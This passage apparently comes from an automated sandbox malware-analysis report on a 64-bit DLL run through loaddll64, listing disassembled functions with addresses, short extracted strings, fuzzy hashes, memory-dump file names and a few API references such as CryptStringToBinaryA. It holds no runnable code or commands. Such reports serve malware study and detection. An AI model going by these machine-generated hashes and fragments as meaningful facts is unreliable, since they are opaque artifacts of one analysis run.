Instruction Fuzzy Hash: 95910470D0471A8BEF98DFA8D48A6EEBBF0FB48344F108119E515B6290D7789A48CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000CB8D Relevance: 5.2, Strings: 4, Instructions: 173COMMON

Download Yara Rule

Strings

64, xrefs: 000000018000CDD8
o=, xrefs: 000000018000CD18
0e, xrefs: 000000018000CD96
@, xrefs: 000000018000CE44

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 0e$64$@$o=
API String ID: 0-3194635012
Opcode ID: 2a7eec621bc3736d8bcf3cd4502b1118f0a5049720cbc299d1d867f1de7ce1b9
Instruction ID: 43be15bbb58683b0ec8bcd6d9d0e20e10858889a9d955228704270f701235499
Opcode Fuzzy Hash: 2a7eec621bc3736d8bcf3cd4502b1118f0a5049720cbc299d1d867f1de7ce1b9
Instruction Fuzzy Hash: 3B91E47051068C9FDB89DF24D88AADD3BB0FF58348F815319FC8AA6290C778D589CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028A04 Relevance: 5.1, Strings: 4, Instructions: 92COMMON

Download Yara Rule

Strings

kWa^, xrefs: 0000000180028B78
Yfr4, xrefs: 0000000180028A22
36H, xrefs: 0000000180028AE0
;, xrefs: 0000000180028B42

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ;$36H$Yfr4$kWa^
API String ID: 0-3599472112
Opcode ID: 05a798feef6af16b9893fff0148a6d85916b1b1ef146ddbd548bcf6645ccff48
Instruction ID: 61779539911d561746882ab877a6c74db6c2f424096ebd80c4a9c7726920f4e4
Opcode Fuzzy Hash: 05a798feef6af16b9893fff0148a6d85916b1b1ef146ddbd548bcf6645ccff48
Instruction Fuzzy Hash: 1B41A0B090034E8FDF48CF24C9865DE7FB0FB68394F214619E85AA6250D77896A5CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007AF0 Relevance: 5.1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

Strings

u, xrefs: 0000000180007AFC
?M, xrefs: 0000000180007B48
B , xrefs: 0000000180007C10
bN, xrefs: 0000000180007BF0

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ?M$B $bN$u
API String ID: 0-4267052880
Opcode ID: c9a15cb732fd24f5d33c0626e266d07e83fb093bffd41cbb69e3c4f465881b9b
Instruction ID: 4c93545f67a4f45fbff1f0d508ee645a9c55300ad5c75e3690df59447bdefe11
Opcode Fuzzy Hash: c9a15cb732fd24f5d33c0626e266d07e83fb093bffd41cbb69e3c4f465881b9b
Instruction Fuzzy Hash: 0F3119715187808FD76CCF28C19A25FBBF1BBC6704F50891CF68A8A390D7B69908CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800264F8 Relevance: 4.2, Strings: 3, Instructions: 454COMMON

Download Yara Rule

Strings

U, xrefs: 0000000180026E54
(, xrefs: 0000000180026CE0
wU, xrefs: 0000000180026E3F

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ($U$wU
API String ID: 0-2031152664
Opcode ID: d030330acb421e585ce2b574953e0510a66a350c77e1366bf0b1b6b086404ac8
Instruction ID: 63807de6178b1657ad1a902dfd73c136082737fd32258a2b89e90bae0d465738
Opcode Fuzzy Hash: d030330acb421e585ce2b574953e0510a66a350c77e1366bf0b1b6b086404ac8
Instruction Fuzzy Hash: 4E42C5719097C88BDBF9DE24C8893DD7BF0FF48344F50515A984E9A694CBB86688CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016464 Relevance: 4.1, Strings: 3, Instructions: 330COMMON

Download Yara Rule

Strings

U, xrefs: 0000000180016ACA
!d.#, xrefs: 00000001800165F6
y, xrefs: 0000000180016AAA

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: y$!d.#$U
API String ID: 0-1702114524
Opcode ID: 061c74f3ba4e2152ff7bfc3bb03a690cfa0dcda01d33ce28c375482b364cb02f
Instruction ID: 4b2da67fef5f64081cc442b482ab5a3168f7e247fbdeb14fd0ac8dc0810a9ec3
Opcode Fuzzy Hash: 061c74f3ba4e2152ff7bfc3bb03a690cfa0dcda01d33ce28c375482b364cb02f
Instruction Fuzzy Hash: 7702B371504AC88BDBBDDF24CC897EF7BA1FB44346F10561AD88A9A290DBB45785CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015B18 Relevance: 4.0, Strings: 3, Instructions: 261COMMON

Download Yara Rule

Strings

h, xrefs: 0000000180015F52
h^, xrefs: 0000000180015B32
=1Z, xrefs: 0000000180015B8A

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: =1Z$h^$h
API String ID: 0-2636329743
Opcode ID: 36181cb170d6f76158f3dc770eb623a7b3ca10ea6b51aaa1b83d78e1cc7645e9
Instruction ID: b01e88b6b57ba4d7dccfa73d8ad07d3cee0fb8b291d2e61316bf3d6cb9ca5404
Opcode Fuzzy Hash: 36181cb170d6f76158f3dc770eb623a7b3ca10ea6b51aaa1b83d78e1cc7645e9
Instruction Fuzzy Hash: 42E1D9705087C8CBEBBECF64C8897DA7BA8FB44708F10561DE94A9E258DB745749CB01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180027EA4 Relevance: 4.0, Strings: 3, Instructions: 253COMMON

Download Yara Rule

Strings

o(, xrefs: 0000000180027F9A
bVZ, xrefs: 0000000180028141
V, xrefs: 0000000180027F18

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: V$bVZ$o(
API String ID: 0-1660054416
Opcode ID: c573c94778afb4164dd1f31be71a66e0f46c26de5815c84ea55065cf2efd2382
Instruction ID: 7ef0dff0314bf7e4e26ddc1ed0add8f6d506e2d18b76783c6c5e1c9ab995db20
Opcode Fuzzy Hash: c573c94778afb4164dd1f31be71a66e0f46c26de5815c84ea55065cf2efd2382
Instruction Fuzzy Hash: 62C1297050074E8FDF89DF24C88AADE3BA1FB58398F114219FC4AA62A0D778D595CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013FE0 Relevance: 4.0, Strings: 3, Instructions: 227COMMON

Download Yara Rule

Strings

#X, xrefs: 0000000180014170
$&], xrefs: 0000000180014371
m%K, xrefs: 00000001800141F5

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: #X$$&]$m%K
API String ID: 0-1065608980
Opcode ID: 7c1237e4964242170fe6cd8b4d96af821d7603f8e1f845348ad2ac7cd3c31af6
Instruction ID: 281ae2356dc6a3955f278cfb62bb8b0cbfc4af089bf5b994b6edc0547db548b7
Opcode Fuzzy Hash: 7c1237e4964242170fe6cd8b4d96af821d7603f8e1f845348ad2ac7cd3c31af6
Instruction Fuzzy Hash: 48C179B1A0460DCFDB68DF78D15A5DD7BF1BB48308F206129F8269A2A2E374A509CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000569C Relevance: 4.0, Strings: 3, Instructions: 217COMMON

Download Yara Rule

Strings

LI, xrefs: 000000018000575A
K#, xrefs: 00000001800058C8
cn , xrefs: 000000018000573A

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: K#$LI$cn
API String ID: 0-3773415493
Opcode ID: 959f25c4968512607ae0cca543834cbc84a398ae39e464127cc603f4c4925a13
Instruction ID: af7bcaa4455c986dbcfdcb56c81b34c69ff90ba63cace1699fbe1714427d0302
Opcode Fuzzy Hash: 959f25c4968512607ae0cca543834cbc84a398ae39e464127cc603f4c4925a13
Instruction Fuzzy Hash: BEA1497091474CEBEB99CF68D8C9ADDBBB0FB44314F50521AF806A72A1CB749985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025D84 Relevance: 3.9, Strings: 3, Instructions: 164COMMON

Download Yara Rule

Strings

Is, xrefs: 0000000180025DCC
^F, xrefs: 0000000180025DC4
$e, xrefs: 0000000180025EB9

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: $e$Is$^F
API String ID: 0-4110932142
Opcode ID: 8b01df609d42911d7dbed2b5ba814d47211c694639234543d432211bb7cfcbab
Instruction ID: acc62b02288f5beda3e750dbd5050400b1e4c18f34ddb480ea367d498b282e57
Opcode Fuzzy Hash: 8b01df609d42911d7dbed2b5ba814d47211c694639234543d432211bb7cfcbab
Instruction Fuzzy Hash: 0051587061C7488FD7A8DF18D48679BB7E0FB89710F805A1DE8CA83255D770A845CB87

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021728 Relevance: 3.9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

4, xrefs: 00000001800219C7
dUn, xrefs: 000000018002184B
0ZI, xrefs: 00000001800218B6

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 0ZI$4$dUn
API String ID: 0-3362017604
Opcode ID: c73b6bf479576f7c26dbb328f7938954da3fed1ffa6b789c040732a3e6a37130
Instruction ID: 064bfcd7f6638f6f98711acfe7d0f42a6c132ae3c1731c2332aecbaa5a5ea63a
Opcode Fuzzy Hash: c73b6bf479576f7c26dbb328f7938954da3fed1ffa6b789c040732a3e6a37130
Instruction Fuzzy Hash: 0B712B7050C7888FD7B9DF28C5856DEBBF5FB85744F10491DE68A8B2A0CB769A44CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B520 Relevance: 3.9, Strings: 3, Instructions: 152COMMON

Download Yara Rule

Strings

O, xrefs: 000000018001B6B8
[_K&, xrefs: 000000018001B6AA
j , xrefs: 000000018001B572

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: O$[_K&$j
API String ID: 0-2002151384
Opcode ID: 5cf88421c4129e4e4d54df4380985a4d6ea1c7f681516431ef3b689608c2f6b2
Instruction ID: 130c59dac31ff76bf7ecf9fa28c9de255088e9ae4d54174b3cf98d95bf2c37bf
Opcode Fuzzy Hash: 5cf88421c4129e4e4d54df4380985a4d6ea1c7f681516431ef3b689608c2f6b2
Instruction Fuzzy Hash: 2B71197050074E8BDF98CF64C8866DE7FB0FB18398F114219E84AA6290D778D695CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006650 Relevance: 3.9, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

>"I, xrefs: 000000018000683A
WT, xrefs: 0000000180006817
-h, xrefs: 0000000180006672

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: -h$WT$>"I
API String ID: 0-2979910649
Opcode ID: 5da2aa70a551583c734fba3b02d0d500b77670d66d11a43c5cdac74a8a900ebb
Instruction ID: 6ab3343b6eba3a4e136222caae9e220da80dded31bc064814014cf5ee83a2919
Opcode Fuzzy Hash: 5da2aa70a551583c734fba3b02d0d500b77670d66d11a43c5cdac74a8a900ebb
Instruction Fuzzy Hash: 3B513770D04719DBEB98DFA8E8C66DDBBB1FB48314F10422DE406A72A0DB74994ACF41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029124 Relevance: 3.9, Strings: 3, Instructions: 143COMMON

Download Yara Rule

Strings

34, xrefs: 0000000180029346
I$s, xrefs: 000000018002916E
-, xrefs: 0000000180029367

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 34$I$s$-
API String ID: 0-2987712878
Opcode ID: d159740019d0e44eb242a52937dbef6f57aff17195a7a3dbeb5ec86a09e691a0
Instruction ID: c68e5fb14b586ef0c40ae38bb2e1e53b7502f2b933fd0fcbf89fc63657b2c948
Opcode Fuzzy Hash: d159740019d0e44eb242a52937dbef6f57aff17195a7a3dbeb5ec86a09e691a0
Instruction Fuzzy Hash: 11817FB590438E8FDF48CF64D88A5CE7BB0FB58358F004A19F86696250D3B8DA25CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008FA0 Relevance: 3.8, Strings: 3, Instructions: 93COMMON

Download Yara Rule

Strings

sR, xrefs: 0000000180009081
v , xrefs: 000000018000903E
3W, xrefs: 00000001800090E2

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 3W$sR$v
API String ID: 0-1518777123
Opcode ID: f3dd92e2af734b6d8115ba1069bd08988295307ba7074c78637fd19ad14d7fff
Instruction ID: c80d461967320ed9e8a283cc826d951d9acd29724fcff4159453b991850cd8cf
Opcode Fuzzy Hash: f3dd92e2af734b6d8115ba1069bd08988295307ba7074c78637fd19ad14d7fff
Instruction Fuzzy Hash: 7341B7B190034A8FDB48CF64C48A5DE7FB1FB58398F504619FC55A6290D3B896A4CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C1DC Relevance: 3.8, Strings: 3, Instructions: 88COMMON

Download Yara Rule

Strings

Da, xrefs: 000000018001C1FD
>, xrefs: 000000018001C204
p, xrefs: 000000018001C1F6

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: >$Da$p
API String ID: 0-3088490888
Opcode ID: f12031464043262cdf2dafd4592515557577c67e86acbf92f010fd442108c94b
Instruction ID: 353200845392aed209a7bf182385cf358c291394da9f2443bd3897ec4edc7df4
Opcode Fuzzy Hash: f12031464043262cdf2dafd4592515557577c67e86acbf92f010fd442108c94b
Instruction Fuzzy Hash: 6D41E6B091038E8BDF48CF64C85A4DE7BB0FB48358F50461DEC66A6290D3B8DA64CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015334 Relevance: 3.8, Strings: 3, Instructions: 87COMMON

Download Yara Rule

Strings

[?, xrefs: 00000001800153BD
z, xrefs: 0000000180015340
Y, xrefs: 00000001800282F9

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Y$[?$z
API String ID: 0-81702474
Opcode ID: de9be9ef5f92379645fd7b383ffa1058af5c5180b6576b9449143d6c210c2e7c
Instruction ID: 17df8d7d90ce60fd82a33c040225e484019840e26e547c8a3bada95d9f576c07
Opcode Fuzzy Hash: de9be9ef5f92379645fd7b383ffa1058af5c5180b6576b9449143d6c210c2e7c
Instruction Fuzzy Hash: CF41E2705187859BD398DF68C48991FBBF0FBC5388F906A1DF982866A0C7B4D958CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800159A0 Relevance: 3.8, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

J_d, xrefs: 00000001800159D3
o, xrefs: 0000000180015A11
%i, xrefs: 0000000180015AC7

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: %i$J_d$o
API String ID: 0-2302849290
Opcode ID: 26ed555b5558ee36b46f6658a60b078ea9f2e99077f6798d56f26bd8e6eafb97
Instruction ID: 229211298eb705b26fc20b4edb46dcac7afe9bcf222d918521f2a27618a9e0ef
Opcode Fuzzy Hash: 26ed555b5558ee36b46f6658a60b078ea9f2e99077f6798d56f26bd8e6eafb97
Instruction Fuzzy Hash: 7A41B4B080074E8FDB48CF24D4864DE7FB1FB68398F640619F856A62A0D3B4D6A5CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D1E0 Relevance: 3.8, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

z, xrefs: 000000018000D9A8
~!, xrefs: 000000018000D9DC
%.&, xrefs: 000000018000D945

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: %.&$~!$z
API String ID: 0-3431779881
Opcode ID: 75f8db90995428d235334ca748c23d9b71a29a6c06c75c993f3f4e05e3c73a3c
Instruction ID: 9d03681536e8c1acf3d5946c054e5fc16c7955f97845821e7fbbe181f26a3c0c
Opcode Fuzzy Hash: 75f8db90995428d235334ca748c23d9b71a29a6c06c75c993f3f4e05e3c73a3c
Instruction Fuzzy Hash: E04104B050438A8BDB48CF24C88A5DE3BB0FB58358F01471DFC9AA6290C7B8D664CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B4C Relevance: 3.8, Strings: 3, Instructions: 77COMMON

Download Yara Rule

Strings

., xrefs: 0000000180004C0F
J:, xrefs: 0000000180004C3F
B3, xrefs: 0000000180004B5F

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: .$B3$J:
API String ID: 0-3064689667
Opcode ID: fd8509d6533ef7e32cb756af4334f2030a9ae0f8979fbcbea7cb16ab3bf8e675
Instruction ID: 182ec4a01b3342a6bdc382118e07b0b009bb3174144ecf8c9284c759066334ab
Opcode Fuzzy Hash: fd8509d6533ef7e32cb756af4334f2030a9ae0f8979fbcbea7cb16ab3bf8e675
Instruction Fuzzy Hash: 1E41F3B090078E8FDB48CF24C88A0DE7BB0FB58358F114A1DEC56A6290D3B89664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B8D0 Relevance: 3.8, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

Ks, xrefs: 000000018000B90F
p7, xrefs: 000000018000B8E3
ie, xrefs: 000000018000B9A8

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Ks$ie$p7
API String ID: 0-1618259084
Opcode ID: 80a2af57191d82605d2cef362d461bc808ae7e9cf162dbf889fca5d963639e5b
Instruction ID: 863d019dd3a3bb72510893778e5e059fd04ef929c99d5fcecc9495c153576d57
Opcode Fuzzy Hash: 80a2af57191d82605d2cef362d461bc808ae7e9cf162dbf889fca5d963639e5b
Instruction Fuzzy Hash: 2F41B2B180438E8FDF45CF64D88A5CE7BB0FB18358F104A09E869A6290D3B89664CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B898 Relevance: 3.8, Strings: 3, Instructions: 64COMMON

Download Yara Rule

Strings

}j, xrefs: 000000018001B917
v, xrefs: 000000018001B8B4
N=?S, xrefs: 000000018001B907

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: N=?S$v$}j
API String ID: 0-4092938293
Opcode ID: 9d3866c83932be72d87d742c92594d1c0fe478a87f622f102371e8f125a421ef
Instruction ID: 8436987ba3b6f8a2bbd854dc6c076361a1b3de70f86c3d0693d23ca26d216a44
Opcode Fuzzy Hash: 9d3866c83932be72d87d742c92594d1c0fe478a87f622f102371e8f125a421ef
Instruction Fuzzy Hash: F3211A7021DB48ABD39CDF28D19562ABAF1FBC8744F909A1DF586C73A0C774C9458B42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800198DC Relevance: 3.8, Strings: 3, Instructions: 55COMMON

Download Yara Rule

Strings

WFY, xrefs: 0000000180019901
2`, xrefs: 00000001800198E0
XS, xrefs: 00000001800199A3

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 2`$XS$WFY
API String ID: 0-4220438673
Opcode ID: 4214e4b7748eee943712e52e0a0b26d526995497c398dca3acb8c82fd8363403
Instruction ID: 1a3a2533c7ad1ec2e7205bdb6f80c12431c695e37eabcbb0c696e965016089c0
Opcode Fuzzy Hash: 4214e4b7748eee943712e52e0a0b26d526995497c398dca3acb8c82fd8363403
Instruction Fuzzy Hash: 68215AB46087848FD388DF28D04941BBBE1BB88358F414B2DF4CAA7260D7789A54CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F1910 Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FFE354F1B5F
RaiseException.KERNEL32 ref: 00007FFE354F1B70

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 327b7a6c132c00c2e162c9657ffb3d47e3a234bedabc651e6bde2b282c1ec227
Instruction ID: 3c685d391b877438bc4586e3e2fd066c72335543cd9839cc83d8a5169357803f
Opcode Fuzzy Hash: 327b7a6c132c00c2e162c9657ffb3d47e3a234bedabc651e6bde2b282c1ec227
Instruction Fuzzy Hash: D0B14B73A04B85CBEB19CF2DC48A2687BA0FB84F49F158926DA5E877B4CB39D451D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F9410 Relevance: 3.1, APIs: 2, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32 ref: 00007FFE354F9465

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 2f5e26cf3e0217929738c2aa1eb9f506f6dc2ef2b5635523749955393274f26c
Instruction ID: c770934b768b35675dd2fb70cc59cd71049ace8b6f903da22a908b6a0cc3802e
Opcode Fuzzy Hash: 2f5e26cf3e0217929738c2aa1eb9f506f6dc2ef2b5635523749955393274f26c
Instruction Fuzzy Hash: 60214F3260CB8686DB50CF19F48472ABBA0FBD4F94F104025EA8E83B64DF7DE444AB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010954 Relevance: 2.9, Strings: 2, Instructions: 410COMMON

Download Yara Rule

Strings

d9(4, xrefs: 00000001800109F6
Y6}, xrefs: 0000000180010ADE

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Y6}$d9(4
API String ID: 0-3330832364
Opcode ID: b043fa54239bd32b140c4ade51c25e42e7665cf50e01dff0b3be8c5be184675f
Instruction ID: aff03ef72771b13b87f2cc74d6bb077380ea2266c6580fb6b6b65536942d94d8
Opcode Fuzzy Hash: b043fa54239bd32b140c4ade51c25e42e7665cf50e01dff0b3be8c5be184675f
Instruction Fuzzy Hash: CB12087090470DEFDB98CF68C49AA9EBBF1FB48344F40816DE849AB290D7749A59CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001308C Relevance: 2.8, Strings: 2, Instructions: 302COMMON

Download Yara Rule

Strings

?T~, xrefs: 00000001800132DA
LPX, xrefs: 0000000180013275

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ?T~$LPX
API String ID: 0-3819494200
Opcode ID: 5371fcae6a6dea951bf7840fb42d0654fda63255fe2b3c817271c2b7c944b8ce
Instruction ID: 5bcc9d51a0cb75c4178e46190e4acf5e718f13166394170a7e92e99ce26cb4c6
Opcode Fuzzy Hash: 5371fcae6a6dea951bf7840fb42d0654fda63255fe2b3c817271c2b7c944b8ce
Instruction Fuzzy Hash: FCE109B1A0870C9FDF99DFA8D48A6DDBBF1FB58384F00411AE406B7290DB749909CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800257B4 Relevance: 2.7, Strings: 2, Instructions: 219COMMON

Download Yara Rule

Strings

K>DO, xrefs: 0000000180025A9D
5]w, xrefs: 0000000180025AE4

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 5]w$K>DO
API String ID: 0-1721466923
Opcode ID: 93887384d1e3e316060a719fa74046c8221635d2d4d23715a552f7898b76f6a5
Instruction ID: 7ff9c6c976455071c2a9df6d60b89cf37126c55da19abf4d4cee6ceb2b958208
Opcode Fuzzy Hash: 93887384d1e3e316060a719fa74046c8221635d2d4d23715a552f7898b76f6a5
